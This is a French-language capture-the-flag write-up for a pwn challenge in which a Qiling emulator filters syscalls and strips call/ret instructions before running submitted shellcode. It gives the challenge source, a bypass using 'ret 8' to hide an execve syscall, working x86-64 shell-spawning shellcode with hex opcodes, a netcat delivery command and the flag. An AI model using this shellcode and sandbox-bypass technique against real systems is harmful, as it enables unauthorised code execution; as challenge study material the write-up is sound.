Détails
- Catégorie : pwn
- Points : 471 pts
- Résolutions : 18 solves
Description
My server uses the latest technology to flatten your program before executing it:
nc pwn.chall.pwnoh.io 13377
Code source :
#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const
= "amd64"
pwn.context.arch = []
dump
def code_hook(ql, address, size):
global dump
= ql.mem.read(address, size)
buf for i in md.disasm(buf, address):
= {1, 0x3c}
allowed_syscalls if (
in i.groups
capstone.x86_const.X86_GRP_INT and ql.reg.eax not in allowed_syscalls
):print(f"[-] syscall = {hex(ql.reg.eax)}")
raise ValueError("HACKING DETECTED!")
= {
ignored_groups
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}= len(set(i.groups) & ignored_groups) > 0
ignore
print(
f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
)if not ignore:
bytes(i.bytes))
dump.append(
= input("Enter code in hex:\n")
inp = bytes.fromhex(inp)
code
= qiling.Qiling(
ql =code,
code="/",
rootfs="linux",
ostype="x8664",
archtype
)
ql.hook_code(code_hook)= ql.create_disassembler()
md = True
md.detail
ql.run()
print("[+] Your program has been flattened! Executing ...")
= b"".join(dump)
new_code = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
filename subprocess.run([filename])
Comprendre le problème
Le binaire attend l'exécution d'un shellcode.
Avant de l'exécuter sur le serveur réel, le shellcode sera exécuté dans une VM avec Qiling. Qiling va aplatir le binaire et appliquer quelques filtres sur les appels système.
Seuls deux syscalls sont autorisés : exit et write.
Lorsque le shellcode est exécuté dans la VM, certaines instructions sont supprimées pour l'aplatir. Ces instructions sont :
= {
ignored_groups
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE, }
Seules les instructions exécutées sont stockées sur le nouveau binaire aplati.
L'objectif principal est de contourner le jail de Qiling pour pouvoir obtenir un shell sur le serveur.
Résoudre le problème
Les instructions CALL
et RET
seront exécutées dans le jail Qiling mais ne seront pas présentes dans le binaire aplati. L'instruction RET
nous permet de spécifier un nombre d'octets à pop de la stack avant de retourner. Il est donc possible de push deux valeurs sur la stack, qui correspondront aux syscalls ID: exit
et execve
. Dans le jail, l'instruction RET
nous permettra de retirer le syscall ID execve
de la stack et d'exécuter l'appel système exit
. Dans le binaire final, les instructions RET
et CALL
ne sont pas présentes et donc le syscall execve
sera exécuté.
Mise en œuvre de la solution
PUSH 0x3C ; syscall id: exit
PUSH 0x3B ; syscall id: execve
call bypass
pop rax
; x86_64 linux shellcode http://shell-storm.org/shellcode/files/shellcode-806.php
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
; mov al, 0x3b
syscall
bypass:
ret 8
Les opcodes correspondant à ce code sont:
6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800
(echo "6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800"; cat -)|nc nc pwn.chall.pwnoh.io 13377
Flag : buckeye{execve_plu5_0n3_1s_exit}